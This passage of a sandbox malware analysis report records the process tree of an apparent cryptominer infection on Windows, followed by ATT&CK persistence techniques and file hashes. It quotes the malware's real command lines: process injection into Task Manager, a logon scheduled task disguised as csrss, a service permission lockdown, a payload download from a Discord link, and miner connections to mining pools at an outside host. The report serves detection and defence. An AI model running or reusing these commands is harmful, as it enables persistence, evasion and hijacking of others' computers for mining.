- Suspicious use of AdjustPrivilegeToken
PID:4164
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3164
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C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:852
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:4572
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C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:3004
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:856
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C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=soothai2Aep2ohqu -m=https://cdn.discordapp.com/attachments/1220770485210710117/1220772642102054933/wVPjYUIbfZQwJs?ex=6610281e&is=65fdb31e&hm=ab675d89d9dcb78c3c9e04e8416260f60c6fc5d8ddedcab3944fe161191bb8b7& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
- Executes dropped EXE
PID:4344 -
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 3879f346-b3ad-4a2a-a46e-237e60fe863e --tls --nicehash -o showlock.net:443 --rig-id 3879f346-b3ad-4a2a-a46e-237e60fe863e --tls --nicehash -o showlock.net:80 --rig-id 3879f346-b3ad-4a2a-a46e-237e60fe863e --nicehash --http-port 3433 --http-access-token 3879f346-b3ad-4a2a-a46e-237e60fe863e --randomx-wrmsr=-15⤵PID:3388
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 33885⤵PID:2056
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:984
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4756
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C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1324
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
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Downloads
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
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Filesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
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Filesize
5.2MB
MD54f649a57b7ddf3874c9a2163a73e9b07
SHA19c966520ba8233f13f168cade548baf5a30823ba
SHA256830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491
SHA512b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize2KB
MD5db01a2c1c7e70b2b038edf8ad5ad9826
SHA1540217c647a73bad8d8a79e3a0f3998b5abd199b
SHA256413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d
SHA512c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD572e0a15e32daad9143bbdb4776f2a6d7
SHA11ec2bb978d71196dac979bf53c902cca176e58da
SHA256f80cb37e9dbe90e17fe8ddf029a619141216f8d31f257dba30414842a9957ad8
SHA5124cfa6412a3a959178dcafb94f2f551b3a3a316f10e885035a1c3897dc40ad937c42e29f3b4782ebeee2976b9346137b9c550b8aa6b7800dc5aa43e2cf1117ef2
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5d17f1dd1ef64e35386f8e48e6619a7cc
SHA1f2d84766daa789e6a96dd44e1a20e9960cec5deb
SHA25613668060f3a9a8908a72f141d2f719341491eda0fd6ac718b60f44943da7d398
SHA512d82948f4cbcf0b05697030b586bb66e5f7e3864c8cc6030c50d5f85d0649d51b3e851945fe42835199256637374b3050567421919651c9027d428336c1a82112
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD513e1ba9f8b5eaa90d283a917dee776d3
SHA1949c3954df85e66891f32d3535de6e74e98f17b5
SHA25631b9366cd34045e18307f36ef5bf8a669d1d03035ee0634a9195e241b008572d
SHA5125148d4a5022a60e4c1c327455ca4a178261cff3e46d864e07ccca98c43b5ffde074f11eea42f37a0e5467fcfc77d8be044df81b21ffed79dcc6be85afee25270
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5c7295d56da0c64d3fef5c9fd5566fa65
SHA17cecab2eeb120ece9401b1dce5a0bcd41e66a9a4
SHA2568ab76cd9cdbe0828af9cbcd21ed26d5f2ce58557be1bf5a41d0e7d96f5f1180e
SHA5120e6fd08012129fd6230451bf99e8ab2d63376e42a347ba5581b00f62588c683df912abe46a72d4b04c1c997e92c4933c84bf007db80e8eb1d61344d8c1de8713
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5acfa88bd37e0d347da48af2e69391974
SHA14089626c9950ff5ef5e5a4b1db3ecf7853ea4c02
SHA256b30753ddf838423365cd930e91cee61e52774c13be00b81440653d6a7207a8e2
SHA512571469eb523f075944591a694aa1daef90375370bd5e71b5b233bf77c69a40667f4482af5de61e1b0108b51e443473959e860b06b74219725df313f092a26eb1
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD56c848e6dfad9e78e29ce1fe402b62c0b
SHA1e14279b7270af3d9d8a538c5164a705f8b409c1d
SHA2569a803f13e7bacff1fff85b8e4e86b35ca80d7aebd617b8c97f65d28aabab4a9b
SHA5122bb4f86845af0d34c6d00c1512b04bf19365c2e410199f85f08ccde6a96dd48a3080915d43bdb2945289400167c341fbffca26763ae74465f906704bf7fd32fc
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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD53afa73bf49360923f59819e9c17e7f05
SHA14830f6b9096e545f15d0a51b780e187d2c61b5e9
SHA2567d1a5833c511c177fbdf159f2e43d7f466770ea25ac209be2338c8a963a5cfff
SHA5123377d2abc597cebc3f8d0ec17d7f82437baf7c711a825f1316beee43cd6ed242c161822a2f33029af66bba8877ead7d9a1a963bf3ed618ef777c3a72468b1935
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Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec